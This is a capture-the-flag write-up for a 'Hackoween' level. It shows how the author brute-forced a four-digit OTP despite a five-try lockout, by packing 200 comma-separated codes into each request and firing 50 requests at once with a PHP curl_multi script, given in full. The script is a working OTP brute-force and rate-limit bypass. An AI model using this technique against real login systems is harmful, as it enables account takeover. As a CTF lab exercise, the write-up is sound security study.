Level 16 – Hackoween II #ZomatoCTF


Race 2 finale!

As the name suggests, this should be about the race condition.

But it had hurdles. You can only try 5 times, then your account is locked for 15 minutes. And OTP should of 4 digits. And OTP changes every minute.

10000 OTPs in just 5 tries? How?

How about sending all the OTPs in single request?

Tried otp=0000&otp=0001&otp=0002&…&otp=9998&otp=9999 but it acknowledged only last OTP (9999)

Tried otp[]=0000&otp[]=0001&otp[]=1002&…&otp[]=9998&otp[]=9999 Didn’t work.

Tried otp=0000,0001,0002,…,9998,9999. It gave a different error, Many OTPS provided.

Time to use Binary Search algorithm to find the possible number of OTPs in one request.

  • 10000 OTPs gave Many OTPS provided.
  • 5000 OTPs gave Many OTPS provided.
  • 2500 OTPs gave Many OTPS provided.
  • 1250 OTPs gave Many OTPS provided.
  • Blocked for 15 minutes
  • 700 OTPs gave Many OTPS provided.
  • 350 OTPs gave Many OTPS provided.
  • 175 OTPs gave Wrong OTP.
  • 250 OTPs gave Many OTPS provided.
  • 200 OTPs gave Wrong OTP.
  • Blocked for 15 minutes

In 15 minutes I created a PHP script to send multiple requests to server at once with a batch of 200 OTPs each request

<?php

// create an empty array
$array = array();

// loop from 0 to 9999
for ($i = 0; $i <= 9999; $i++) {
  // pad the number with zeros if it is less than four digits
  $number = str_pad($i, 4, "0", STR_PAD_LEFT);
  // append the number to the array as a string
  $array[] = $number;
}

// create an empty result array
$result = array();

// loop through the array in chunks of 200 elements
foreach (array_chunk($array, 200) as $chunk) {
  // join the chunk elements with comma
  $sub_result = implode(",", $chunk);
  // append the sub-result to the result array
  $result[] = $sub_result;
}

// print the result as an array
// print_r($result);die;
$otp = $result;


$mh = curl_multi_init();
foreach ($otp as $o) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://ctfzomato.com/levels/a2hNDekhDekhDekhYahaWahaNaFenkFailegiBimariHogaSabkaBuraHaalGaadiWalaAyaaGharSeKachraNikaal==');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Host: ctfzomato.com',
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
    ]);
    curl_setopt($ch, CURLOPT_COOKIE, 'cf_clearance=x03K817h45668HvYfFpdXE3hodMtb9R0ShmrFhY2gWE-1696912516-0-1-1236c5e9.c2caa312.106dabd-160.0.0; _hackathon2_session=%2BYjineMeraDilLutteyaOhoJineMainuMaarSutteyaOhoLakkPatlaBiloriOhdeNainNainKanniJhumkeHullareyOhdeLainLainGallanKardiShehdTonMithhiyaPTvm--lXQnaZcn1pU704Tw--L%2BZSKIV6bmhnqnyLdFZxug%3D%3D');
    curl_setopt($ch, CURLOPT_POSTFIELDS, 'authenticity_token=ad9tSS1gW6im4YpP2TX8seMqBp-w8cnTW14FYzDrOidHf-ExRWhn0QvruepvbAToz5wLhVmGYqGY_09QmUIwog&otp='.urlencode($o));
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_multi_add_handle($mh, $ch);
}
for (;;) {
    $still_running = null;
    do {
        $err = curl_multi_exec($mh, $still_running);
    } while ($err === CURLM_CALL_MULTI_PERFORM);
    if ($err !== CURLM_OK) {
        // handle curl multi error?
    }
    if ($still_running < 1) {
        // all downloads completed
        break;
    }
    // some haven't finished downloading, sleep until more data arrives:
    curl_multi_select($mh, 1);
}
$results = [];
while (false !== ($info = curl_multi_info_read($mh))) {
    if ($info["result"] !== CURLE_OK) {
        // handle download error?
    }
    $results[curl_getinfo($info["handle"], CURLINFO_EFFECTIVE_URL)] = curl_multi_getcontent($info["handle"]);
    curl_multi_remove_handle($mh, $info["handle"]);
    curl_close($info["handle"]);
}
curl_multi_close($mh);
var_export($results);

This script sent 200 OTPs in one request. So it sent 50 requests in one go. In first try it didn’t work. Waited for a minute for OTP to change.

But then it worked in second try and I got the flag.



Leave a Reply

Your email address will not be published. Required fields are marked *